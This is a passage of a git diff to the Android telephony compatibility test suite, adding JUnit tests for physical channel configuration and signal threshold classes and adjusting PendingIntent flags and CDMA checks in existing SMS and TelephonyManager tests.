+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.telephony.AccessNetworkConstants;
+import android.telephony.PhysicalChannelConfig;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PhysicalChannelConfigTest {
+
+    private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
+    private static final int BAND = 1;
+    private static final int CONNECTION_STATUS = PhysicalChannelConfig.CONNECTION_PRIMARY_SERVING;
+    private static final int CELL_BANDWIDTH = 12345;
+    private static final int CHANNEL_NUMBER = 1234;
+    private static final int FREQUENCY_RANGE = 1;
+    private static final int PHYSICAL_CELL_ID = 502;
+    private static final int PHYSICAL_INVALID_CELL_ID = 1008;
+    private static final int NETWORK_TYPE_NR = TelephonyManager.NETWORK_TYPE_NR;
+    private static final int NETWORK_TYPE_LTE = TelephonyManager.NETWORK_TYPE_LTE;
+    private static final int NETWORK_TYPE_UMTS = TelephonyManager.NETWORK_TYPE_UMTS;
+    private static final int NETWORK_TYPE_GSM = TelephonyManager.NETWORK_TYPE_GSM;
+
+
+    private PhysicalChannelConfig mPhysicalChannelConfig;
+
+    @Before
+    public void setUp() throws Exception {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_LTE)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setFrequencyRange(FREQUENCY_RANGE)
+                .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                .setUplinkChannelNumber(CHANNEL_NUMBER)
+                .setBand(BAND)
+                .build();
+    }
+
+    @Test
+    public void testInvalidPhysicalChannelConfig() {
+        try {
+            mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                    .setNetworkType(NETWORK_TYPE_LTE)
+                    .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+                    .setCellConnectionStatus(CONNECTION_STATUS)
+                    .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                    .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                    .setContextIds(CONTEXT_IDS)
+                    .setFrequencyRange(FREQUENCY_RANGE)
+                    .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                    .setUplinkChannelNumber(CHANNEL_NUMBER)
+                    .setBand(BAND)
+                    .build();
+            fail("Physical cell Id: 1008 is over limit");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    @Test
+    public void testGetCellBandwidthDownlinkKhz() {
+        assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthDownlinkKhz());
+    }
+
+    @Test
+    public void testGetCellBandwidthUplinkKhz() {
+        assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthUplinkKhz());
+    }
+
+    @Test
+    public void testGetConnectionStatus() {
+        assertEquals(CONNECTION_STATUS, mPhysicalChannelConfig.getConnectionStatus());
+    }
+
+    @Test
+    public void testGetNetworkType() {
+        assertEquals(NETWORK_TYPE_LTE, mPhysicalChannelConfig.getNetworkType());
+    }
+
+    @Test
+    public void testGetPhysicalCellId() {
+        assertEquals(PHYSICAL_CELL_ID, mPhysicalChannelConfig.getPhysicalCellId());
+    }
+
+    @Test
+    public void testGetBand() {
+        assertEquals(BAND, mPhysicalChannelConfig.getBand());
+    }
+
+    @Test
+    public void testGetDownlinkChannelNumber() {
+        assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getDownlinkChannelNumber());
+    }
+
+    @Test
+    public void testGetUpChannelNumber() {
+        assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getUplinkChannelNumber());
+    }
+
+    @Test
+    public void testGetContextId() {
+        assertEquals(CONTEXT_IDS, mPhysicalChannelConfig.getContextIds());
+    }
+
+    @Test
+    public void testFrequencyRange() {
+        assertEquals(FREQUENCY_RANGE, mPhysicalChannelConfig.getFrequencyRange());
+    }
+
+    @Test
+    public void testFrequencyRangeForNrArfcnFromBand() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(4500)
+                .setUplinkChannelNumber(4500)
+                .setBand(AccessNetworkConstants.NgranBands.BAND_79)
+                .build();
+
+        assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+                ServiceState.FREQUENCY_RANGE_HIGH);
+    }
+
+    @Test
+    public void testFrequencyRangeForNrArfcnFromChannelNumber() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(4500)
+                .setUplinkChannelNumber(4500)
+                .setBand(100)
+                .build();
+
+        assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+                ServiceState.FREQUENCY_RANGE_LOW);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
new file mode 100644
index 0000000..0440f89
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collection;
+import java.util.List;
+
+public class SignalStrengthUpdateRequestTest {
+
+    private SignalThresholdInfo mRssiInfo = new SignalThresholdInfo.Builder()
+            .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+            .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+            .setThresholds(new int[]{-109, -103, -97, -89})
+            .build();
+
+    private SignalThresholdInfo mRscpInfo = new SignalThresholdInfo.Builder()
+            .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.UTRAN)
+            .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP)
+            .setThresholds(new int[]{-115, -105, -95, -85})
+            .build();
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testBuilderWithInvalidParam() {
+        // null Collection
+        validateBuilderWithInvalidParam(null);
+
+        // duplication of SignalMeasurementType in Collection
+        validateBuilderWithInvalidParam(List.of(mRssiInfo, mRssiInfo));
+    }
+
+    @Test
+    public void testBuilderWithValidParams() {
+        Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+        assertFalse(request.isReportingRequestedWhileIdle());
+        assertEquals(infos, request.getSignalThresholdInfos());
+    }
+
+    @Test
+    public void testParcel() {
+        Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(true).build();
+
+        Parcel p = Parcel.obtain();
+        request.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        SignalStrengthUpdateRequest newRequest =
+                SignalStrengthUpdateRequest.CREATOR.createFromParcel(p);
+        assertThat(newRequest).isEqualTo(request);
+    }
+
+    @Test
+    public void testEquals() {
+        Collection<SignalThresholdInfo> infos1 = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request1 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(false).build();
+
+        assertTrue(request1.equals(request1));
+
+        // Ordering does not matter
+        Collection<SignalThresholdInfo> infos2 = List.of(mRscpInfo, mRssiInfo);
+        SignalStrengthUpdateRequest request2 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos2).setReportingRequestedWhileIdle(false).build();
+        assertTrue(request1.equals(request2));
+
+        SignalStrengthUpdateRequest request3 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(true).build();
+        assertFalse(request1.equals(request3));
+
+        Collection<SignalThresholdInfo> infos4 = List.of(mRscpInfo);
+        SignalStrengthUpdateRequest request4 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos4).setReportingRequestedWhileIdle(false).build();
+        assertFalse(request1.equals(request4));
+
+        // return false if the object is not SignalStrengthUpdateRequest
+        assertFalse(request1.equals("test"));
+    }
+
+    private void validateBuilderWithInvalidParam(Collection<SignalThresholdInfo> infos) {
+        try {
+            new SignalStrengthUpdateRequest.Builder()
+                    .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
new file mode 100644
index 0000000..e60ff53
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test SignalThresholdInfo to make sure the object can only constructed with only valid data.
+ */
+public class SignalThresholdInfoTest {
+    private static final String TAG = "SignalThresholdInfo";
+
+    // A sample of valid (RAN, SignalMeasurementType, threshold value) arrays. Threshold value will
+    // used to construct thresholds array during test.
+    private static final int[][] VALID_PARAMS = {
+            {AccessNetworkConstants.AccessNetworkType.GERAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, -100},
+            {AccessNetworkConstants.AccessNetworkType.CDMA2000,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.UTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP, -100},
+            {AccessNetworkConstants.AccessNetworkType.EUTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.NGRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    -100},
+    };
+
+    // Map of SignalMeasurementType to invalid thresholds edge values.
+    // Each invalid value will be constructed with a thresholds array to test separately.
+    private static final Map<Integer, List<Integer>> INVALID_THRESHOLDS_MAP = Map.of(
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+            List.of(SignalThresholdInfo.SIGNAL_RSSI_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSI_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP,
+            List.of(SignalThresholdInfo.SIGNAL_RSCP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSCP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+            List.of(SignalThresholdInfo.SIGNAL_RSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_RSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR,
+            List.of(SignalThresholdInfo.SIGNAL_RSSNR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSNR_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR,
+            List.of(SignalThresholdInfo.SIGNAL_SSSINR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSSINR_MAX_VALUE + 1)
+    );
+
+    // Map of RAN to allowed SignalMeasurementType set.
+    // RAN/TYPE pair will be used to verify the validation of the combo
+    private static final Map<Integer, Set<Integer>> VALID_RAN_TO_MEASUREMENT_TYPE_MAP = Map.of(
+            AccessNetworkConstants.AccessNetworkType.GERAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.CDMA2000,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.UTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP),
+            AccessNetworkConstants.AccessNetworkType.EUTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR),
+            AccessNetworkConstants.AccessNetworkType.NGRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR)
+    );
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testConstructor_validParams() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+
+            assertEquals(ran, sti.getRadioAccessNetworkType());
+            assertEquals(signalMeasurementType, sti.getSignalMeasurementType());
+            assertThat(thresholds).isEqualTo(sti.getThresholds());
+        }
+    }
+
+    @Test
+    public void testConstructor_invalidSignalMeasurementType() {
+        final int[] invalidSignalMeasurementTypes = new int[]{-1, 0, 9};
+        for (int signalMeasurementType : invalidSignalMeasurementTypes) {
+            buildWithInvalidParameterThrowException(
+                    AccessNetworkConstants.AccessNetworkType.GERAN, signalMeasurementType,
+                    new int[]{-1});
+        }
+    }
+
+    @Test
+    public void testConstructor_nullThresholds() {
+        buildWithInvalidParameterThrowException(
+                AccessNetworkConstants.AccessNetworkType.GERAN,
+                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, null);
+    }
+
+    @Test
+    public void testConstructor_invalidRanMeasurementTypeCombo() {
+        for (int ran : VALID_RAN_TO_MEASUREMENT_TYPE_MAP.keySet()) {
+            Set validTypes = VALID_RAN_TO_MEASUREMENT_TYPE_MAP.get(ran);
+            for (int type = SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI;
+                    type <= SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR; type++) {
+                if (!validTypes.contains(type)) {
+                    buildWithInvalidParameterThrowException(ran, type, new int[]{-1});
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testConstructor_thresholdsOutOfRange() {
+        for (int signalMeasurementType : INVALID_THRESHOLDS_MAP.keySet()) {
+            List<Integer> invalidThresholds = INVALID_THRESHOLDS_MAP.get(signalMeasurementType);
+            for (int threshold : invalidThresholds) {
+                buildWithInvalidParameterThrowException(getValidRan(signalMeasurementType),
+                        signalMeasurementType, new int[]{threshold});
+            }
+        }
+    }
+
+    @Test
+    public void testParcel() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            Parcel p = Parcel.obtain();
+            sti.writeToParcel(p, 0);
+            p.setDataPosition(0);
+
+            SignalThresholdInfo newSt = SignalThresholdInfo.CREATOR.createFromParcel(p);
+            assertThat(newSt).isEqualTo(sti);
+        }
+
+    }
+
+    @Test
+    public void testEquals() {
+        final int[] dummyThresholds = new int[]{-100, -90, -70, -60};
+        final int[] dummyThresholdsDisordered = new int[]{-60, -90, -100, -70};
+
+        SignalThresholdInfo sti1 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti2 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.CDMA2000)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti3 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti4 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholdsDisordered)
+                .build();
+
+        assertTrue(sti1.equals(sti1));
+        assertFalse(sti1.equals(sti2));
+        assertTrue(sti1.equals(sti3));
+        assertTrue(sti1.equals(sti4));
+        assertFalse(sti1.equals("sti1"));
+    }
+
+    private void buildWithInvalidParameterThrowException(int ran, int signalMeasurementType,
+            int[] thresholds) {
+        try {
+            new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+
+    /**
+     * Return a possible valid RAN value for the measurement type. This is used to prevent the
+     * invalid ran/type causing IllegalArgumentException when testing other invalid input cases.
+     */
+    private static int getValidRan(@SignalThresholdInfo.SignalMeasurementType int type) {
+        switch (type) {
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI:
+                return AccessNetworkConstants.AccessNetworkType.GERAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP:
+                return AccessNetworkConstants.AccessNetworkType.UTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR:
+                return AccessNetworkConstants.AccessNetworkType.EUTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR:
+                return AccessNetworkConstants.AccessNetworkType.NGRAN;
+            default:
+                return AccessNetworkConstants.AccessNetworkType.UNKNOWN;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 8761739..0013ea7 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -629,9 +629,9 @@
         mReceivedDataSms = false;
         sMessageId = 0L;
         mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     /**
@@ -647,8 +647,8 @@
             ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
             ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
             for (int i = 0; i < numPartsSent; i++) {
-                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
-                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
             sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents, addMessageId);
         }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
index a9a934d..e61a720 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsReceiverHelper.java
@@ -34,13 +34,13 @@
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_SENT_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     public static PendingIntent getMessageDeliveredPendingIntent(Context context) {
         Intent intent = new Intent(context, SmsReceiver.class);
         intent.setAction(MESSAGE_DELIVERED_ACTION);
         return PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index ab3c97d..982162a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -2216,6 +2216,13 @@
             assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
 
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                     tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
             status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                     tm -> tm.getCallComposerStatus());
@@ -2232,6 +2239,13 @@
             status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
                     tm -> tm.getCallComposerStatus());
             assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
         }
     }
 
@@ -3212,7 +3226,8 @@
 
     @Test
     public void testCdmaRoamingMode() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
             return;
         }
 
@@ -3238,7 +3253,8 @@
 
     @Test
     public void testCdmaSubscriptionMode() {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
             return;
         }
 
@@ -3259,7 +3275,7 @@
 
         // Reset state
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                tm -> tm.setCdmaRoamingMode(cdmaSubscriptionMode));
+                tm -> tm.setCdmaSubscriptionMode(cdmaSubscriptionMode));
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index b702805..59654f1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -24,6 +24,7 @@
 import java.io.FileInputStream;
 import java.io.InputStream;
 import java.io.InputStreamReader;
+import java.lang.reflect.Field;
 import java.nio.charset.StandardCharsets;
 import java.util.function.BooleanSupplier;
 
@@ -68,6 +69,25 @@
         return simOperator != null && simOperator.equals(operator);
     }
 
+    public static String parseErrorCodeToString(int errorCode,
+            Class<?> containingClass, String prefix) {
+        for (Field field : containingClass.getDeclaredFields()) {
+            if (field.getName().startsWith(prefix)) {
+                if (field.getType() == Integer.TYPE) {
